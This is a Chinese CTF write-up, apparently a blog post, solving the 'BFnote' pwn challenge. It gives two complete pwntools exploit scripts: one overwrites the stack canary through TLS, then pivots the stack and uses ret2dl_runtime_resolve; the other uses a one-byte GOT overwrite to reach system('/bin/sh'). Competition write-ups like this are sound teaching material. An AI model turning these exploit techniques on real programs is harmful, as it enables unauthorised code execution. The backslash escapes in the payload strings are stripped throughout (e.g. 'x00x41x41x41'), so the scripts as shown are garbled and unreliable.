zoukankan      html  css  js  c++  java
  • i春秋公益赛之BFnote

    题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote

    首先检查程序开的保护:

     发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出:

     在输入note时存在堆溢出:

     本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。

    解法一:

    canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。

    利用思路:

    • 分配一个大小为0x200000的chunk,此时会调用mmap分配内存
    • 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary
    • 绕过canary保护后通过把栈迁移到.bss段
    • ret2_dl_runtime_resolve

    在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小

    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败
    

    最终利用脚本:

    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./BFnote')
    #p = remote('node3.buuoj.cn', 28177)
    elf = ELF('BFnote')
    libc = ELF('libc.so.6')
    
    atol_got = elf.got['atol']
    leave_ret = 0x08048578
    read_plt = elf.plt['read']
    pop_esi_edi_ebp_ret = 0x080489d9
    pop_ebp_ret = 0x080489db
    plt_0 = 0x08048450
    _rel_plt = 0x080483d0
    dynsym = 0x080481d8
    dynstr = 0x080482c8
    
    p.recvuntil('Give your description : ')
    payload = 'A'*50 + 'x00x41x41x41' + 'AAAA' + p32(0x0804a064)
    p.sendline(payload)
    
    p.recvuntil('Give your postscript : ')
    payload = p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(0x0804a400) + p32(100) + p32(pop_ebp_ret) + p32(0x0804a400) + p32(leave_ret)
    payload = payload.ljust(0x600, 'x00')
    p.send(payload)
    
    p.recvuntil('Give your notebook size : ')
    p.sendline(str(0x200000))
    
    p.recvuntil('Give your title size : ')
    p.sendline(str(0x2016fc))
    
    p.recvuntil('please re-enter :
    ')
    p.sendline('16')
    
    p.recvuntil('Give your title : ')
    p.sendline('CCCCCCCCCCCCC')
    
    p.recvuntil('Give your note : ')
    p.send('x00x41x41x41')
    
    index_offset = 0x0804a41c - _rel_plt
    r_offset = atol_got
    r_info = (((0x0804a428 - dynsym) / 0x10) << 8) | 0x07
    fake_reloc = p32(r_offset) + p32(r_info)
    offset = 0x0804a400 + 0x50 - dynstr
    fake_dynsym = p32(offset) + p32(0) + p32(0) + p32(0x12)
    
    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)
    payload2 += 'AAAA' #函数返回地址,此处可随意
    payload2 += p32(0x0804a400 + 0x50 + 0x8) #/bin/sh地址
    payload2 += p32(0)
    payload2 += p32(0)
    payload2 += fake_reloc #0x0804a41c
    payload2 += 'AAAA'
    payload2 += fake_dynsym #0x0804a428
    payload2 += 'A'*(80 - len(payload2))
    payload2 += 'execvex00x00'
    payload2 += '/bin/shx00'
    payload2 += 'A'*(100 - len(payload2))
    #gdb.attach(p)
    p.send(payload2)
    p.interactive()
    

     解法二:

    通过调试我们可以发现atol函数的地址低于system函数的地址,用命令ROPgadget --binary BFnote --only 'inc|ret'发现程序有这样一段gadget:

     通过调试发现除去最低位后atol和system函数地址偏移相差0xdb

    利用思路:

    • 利用inc把atol地址加0xdb
    • 向atol的最低位写入'xa0'

    最终exp如下:

    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./BFnote')
    #p = remote('node3.buuoj.cn', 28092)
    elf = ELF('BFnote')
    libc = ELF('libc.so.6')
    
    atol_got = elf.got['atol']
    atol_plt = elf.plt['atol']
    leave_ret = 0x08048578
    read_plt = elf.plt['read']
    pop_esi_edi_ebp_ret = 0x080489d9
    pop_ebp_ret = 0x080489db
    plt_0 = 0x08048450
    _rel_plt = 0x080483d0
    dynsym = 0x080481d8
    dynstr = 0x080482c8
    inc_ebp_ret = 0x08048434
    ret_addr = 0x0804842a
    
    p.recvuntil('Give your description : ')
    payload = 'A'*50 + 'x00x41x41x41' + 'AAAA' + p32(0x0804a204) #栈迁移到0x0804a500处
    p.sendline(payload)
    
    p.recvuntil('Give your postscript : ')
    payload  = '/bin/shx00'.ljust(0x1a0, 'x00')
    payload += p32(pop_ebp_ret) + p32(atol_got + 1 + 0x17fa8b40)
    payload += p32(inc_ebp_ret) * 0xDB
    payload += p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(atol_got) + p32(1) + p32(ret_addr) + p32(ret_addr) + p32(atol_plt) + 'AAAA' + p32(0x0804a060)
    info("length of payload ==> " + str(len(payload)))
    payload  = payload.ljust(0x600, 'x00')
    #gdb.attach(p)
    p.send(payload)
    
    p.recvuntil('Give your notebook size : ')
    #gdb.attach(p)
    p.sendline(str(0x200000))
    
    p.recvuntil('Give your title size : ')
    p.sendline(str(0x2016fc))
    
    p.recvuntil('please re-enter :
    ')
    #gdb.attach(p)
    p.sendline('16')
    
    p.recvuntil('Give your title : ')
    p.sendline('CCCCCCCCCCCCC')
    
    p.recvuntil('Give your note : ')
    #gdb.attach(p)
    p.send('x00x41x41x41')
    
    #gdb.attach(p)
    p.send('xA0')
    
    p.interactive()
    
  • 相关阅读:
    SourceTree使用教程(六)--回滚版本到某次提交
    SourceTree使用教程(四)---冲突解决
    Git 分支合并后回退的几种情况分析
    HTTP认证之基本认证——Basic(二) _
    C#3.0中自动属性和对象初始化器
    C# 3.0新特征之创建和初始化集合对象
    SQL 用多个条件进行排序;以及根据一个条件的多个值,进行排序
    如何修改 .NET Core Kestrel 下的端口
    存储过程
    mysql临时表用法分析【查询结果可存在临时表中】
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12425168.html
Copyright © 2011-2022 走看看